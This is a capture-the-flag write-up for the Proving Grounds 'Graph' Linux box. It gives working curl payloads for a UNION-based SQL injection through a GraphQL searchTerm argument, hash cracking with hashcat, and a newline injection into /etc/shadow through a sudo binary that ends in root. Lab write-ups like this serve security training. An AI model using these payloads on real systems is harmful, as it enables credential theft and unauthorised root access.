# Graph Writeup - Proving Grounds

> Easy Linux box with an injectable GraphQL searchTerm over SQLite, used to dump and crack user hashes for SSH access as jane. A sudo-runnable pass-gen binary writes to /etc/shadow without stripping newlines, so a newline injection adds an account that reaches the shadow group and cracks the root hash.

- **URL:** https://hackindex.io/writeups/graph
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** graphql, sql-injection, hash-cracking, sudo-misconfiguration, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

Graph exposes a GraphQL API backed by SQLite. A `searchTerm` argument is injectable, which dumps user password hashes to crack for SSH access as jane. A custom `pass-gen` binary runnable via sudo writes to `/etc/shadow` without stripping newlines, so a newline injection adds a controlled account, leads to the shadow group, and ends in cracking the root hash.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT   STATE SERVICE
# 22/tcp open  ssh
# 80/tcp open  http
```

SSH and a blog on port 80. Fuzz for content.

### Content discovery

Brute force directories.

```bash
rustbuster dir --url http://$TARGET_IP --wordlist /opt/seclists/Discovery/Web-Content/raft-small-words.txt
# /graphql    (Status: 200)
```

A `/graphql` endpoint is exposed.

## Exploitation

### GraphQL SQL injection

Introspect the schema with inql. The `users` query takes a `searchTerm` argument that is passed into a SQLite query without validation, so a single quote triggers an error.

```bash
curl -s -H 'Content-Type: application/json' -X POST -d '{"query":"{ users(searchTerm: \"a\") }"}' http://$TARGET_IP/graphql
# {"data":{"users":["admin","jane"]}}
#
# # single quote triggers a SQLite error:
# {"errors":[{"message":"SQLITE_ERROR: unrecognized token: \"'\""}]}
```

Confirm the injection, then UNION-dump the user hashes from the `users` table.

```bash
curl -s -H 'Content-Type: application/json' -X POST -d '{"query":"{ users(searchTerm: \"'\''union SELECT username||'\'':'\''||password_hash FROM users -- -\") }"}' http://$TARGET_IP/graphql
# {"data":{"users":["admin:$6$PRyGjElQ$unCSC...","jane:$6$4BlcfbYDsQp3BMG$vwPo...","josh:$6$g744Ii0AvY$Oce4..."]}}
```

Crack the SHA-512 hashes with hashcat.

```bash
hashcat -m 1800 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# $6$4BlcfbYDsQp3BMG$vwPo...:$JANE_PASSWORD
```

`jane`'s password is recovered. Log in over SSH.

```bash
ssh jane@$TARGET_IP
# jane@graph:~$ id
# uid=1000(jane) gid=1000(jane) groups=1000(jane)
```

Shell as `jane`. Check the sudo rights.

## Privilege Escalation

### Newline injection in sudo pass-gen

List the sudo rights.

```bash
sudo -l
# User jane may run the following commands on graph:
#     (ALL : ALL) /usr/local/bin/pass-gen
```

`pass-gen` runs as root and updates `/etc/shadow` without stripping newlines, so its argument can inject a whole new shadow line. Generate a hash, then add a shadow entry for `josh` (a member of the shadow group).

```bash
mkpasswd -m sha512crypt password123
sudo pass-gen '1337:7:::\n\njosh:$6$...:19078:0:99999'
```

Switch to `josh`, who is in the `shadow` group, read `/etc/shadow`, and crack the root hash with hashcat. The recovered root password then lets `su` return a root shell.

```bash
su
# josh@graph:/$ su
# Password:
# root@graph:/# id
# uid=0(root) gid=0(root) groups=0(root)
```

Cracking the root hash read via the shadow group gives the root password and a root shell.

Related
